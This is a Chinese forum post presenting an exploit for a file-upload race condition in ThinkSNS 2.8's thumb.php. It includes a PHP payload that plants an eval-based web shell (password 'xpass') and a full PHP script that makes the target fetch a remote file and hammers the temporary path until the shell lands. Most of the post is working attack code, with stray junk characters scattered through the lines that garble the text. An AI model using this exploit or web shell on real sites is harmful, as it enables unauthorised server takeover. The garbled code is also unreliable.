找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1895|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本
$ w& o4 Q. G: ~. K9 p9 Q2 a存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)# n1 q& S  [3 Z. t
漏洞文件
- V' L' ~/ K- y7 t存在漏洞的文件为:thumb.php9 u: t; j" J2 N2 y. {; Q
作者:韦鲲鹏6 x7 D, M; ?4 a9 n
1、        准备如下PHP文件并上传到服务器(自己的)。1 ^9 C- x: v2 z! G
文件内容如下:
; L# a/ }& l, z$ @/ ~<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
8 h# \' _" ~; ]5 V1 n3 X1 e2 J+ q9 Q2、        计算出临时的文件名:
- u8 _$ u: s! ?: e9 T这里我们可以看文件的99行(刚刚是不是没注意呀!)。$ {% p  O) q# n, n

/ P1 Q; |+ e  L% G6 v8 i3、        上传临时文件。4 g, j* Y' s$ {% g/ a+ Z3 h
4、        访问临时文件。2 ~6 \; o3 B. L+ R# P! {& n
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)* k- X9 N8 y) L- d2 K/ L* K
Exploit文件内容如下:(这个我就不详细解释了)
9 Y$ R  I: {2 `+ H, n1 d; u3 ?<?php! p- C& s' s' @. M7 L! n( R
error_reporting(0);2 Y2 Y9 e: i4 e
set_time_limit(0);" ?( L3 R4 r4 Y: q* I% `$ w3 {; P
ini_set(“default_socket_timeout”, 5);9 `* [/ C( e+ L- I2 O
function http_send($host, $port, $headers) {
5 h% U! M) \6 L' Q+ \( t% j7 ^" X) [$fp = fsockopen($host, $port);! f- ^4 x# X0 Y) a1 p% Q
if (!$fp) die(‘Connection -> fail’);
$ z- m$ t( W7 S+ m$ qfputs($fp, $headers);
$ \% L! i" O7 jreturn $fp;! M. g* V. E- g9 o
}
7 x7 A; B; ?: H5 ^& M6 c* bfunction http_recv($fp) {
: Q/ n4 t8 n+ d$ r$ret=”";
0 O9 y9 j' T9 H$ g5 ?7 K. H+ Jwhile (!feof($fp))4 `1 p  P8 m+ ]5 c6 s
$ret.= fgets($fp, 1024);
# m& d4 I9 u) i! {! Y9 g5 ifclose($fp);
/ h- ?3 q/ f3 O: l1 [1 l; K0 d3 {, Dreturn $ret;
1 d/ }' m. d  J! n9 c- C}$ y# j# ]7 k8 o- s* ~
print “\n#  ThinkSns Arbitrary File Upload   #\n”;' o5 P+ e2 N! d6 x. k% X
print “# Discovered by 韦鲲鹏 #\n\n”;, R( A' B3 F- ?" P5 S: J9 b& w( u
if ($argc < 4) {
& b7 c9 w- X) U3 e+ v4 S( F1 q% Sprint “Usage:   php <host> <path> <romote_url>\n”;1 _4 W0 k9 P8 q* C& ]
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
# d5 Q) L8 r8 b* ddie();% |& _5 C, c& [- V7 g  H
}4 C( F, ?4 w$ ~1 H' S
$host = $argv[1];* n" B1 b$ y! j8 R- h+ F: v7 k
$path = $argv[2];! Z/ l5 a+ p3 o, L
$url = $argv[3];$ h9 y$ {4 W# ~% z/ T/ p0 x( _5 O, l
$i=0;
! {. N# U0 Q* m- s//上传数据包
" `. G0 a+ k; r2 [6 _9 D8 M+ }" K$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;, _# q3 b+ Y* w4 p- \& m* K. o! ]  g
$headers_up .= “Host: “.$host.”\r\n”;
1 w6 p# V# @6 E* R( T1 F& ?3 D& v$headers_up .= “Connection: close\r\n\r\n”;6 [9 y4 f7 h3 c. M
echo $headers_up;% W# F5 q& U; g
//临时文件访问数据包% U  x; z5 ?/ ]# C
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
9 B* a' Q) D8 G& b. A, s: o4 f! K$headers .= “Host: “.$host.”\r\n”;8 ?1 }5 R  K- W! L* k! t2 m
$headers .= “Connection: close\r\n\r\n”;
9 r% X7 B. R, o; ^0 D+ necho $headers;
3 Q& H& M: e; D0 wwhile(++$i<10) {3 N, A' ^9 q  V/ D
fclose(http_send($host, 80, $headers));
# p* W' c& X4 u1 _& D8 R4 i$ S, C}
2 m& @6 I- x( E. Mfclose(http_send($host, 80, $headers_up));! N* s1 f# `- B5 @
while(++$i<50) {
, l% y  _  o# n9 [: Qfclose(http_send($host, 80, $headers));
: l& h- L- l( @" `}( @- C: `/ ?; f  \  c* f) h: q
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
; S& \0 _& ~+ J, B$headers .= “Host: “.$host.”\r\n”;
2 t9 H& w# L; d( j$headers .= “Connection: close\r\n\r\n”;2 \) x. j* N5 N+ w- g( Y
$res=http_recv(http_send($host, 80, $headers));
* O% E9 z, }9 G$ l( n' I' j" I$ K- ~if(preg_match(‘/200 OK/’,$res)) {
5 Y; n0 w% \1 n9 p9 h; [print “Success!\n\n”;
& s# \# n# M2 p" E8 H+ R5 f; f} else {
+ k) q- R/ T' ?2 U; s6 v2 V: `9 ?print “Fail!\n\n”;
7 ^1 [2 q) q  u# O7 p, R# [8 i; n}+ }* a, X7 A( U6 q+ E3 S3 i
?>6 R) J/ y4 D* n, f4 b# B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表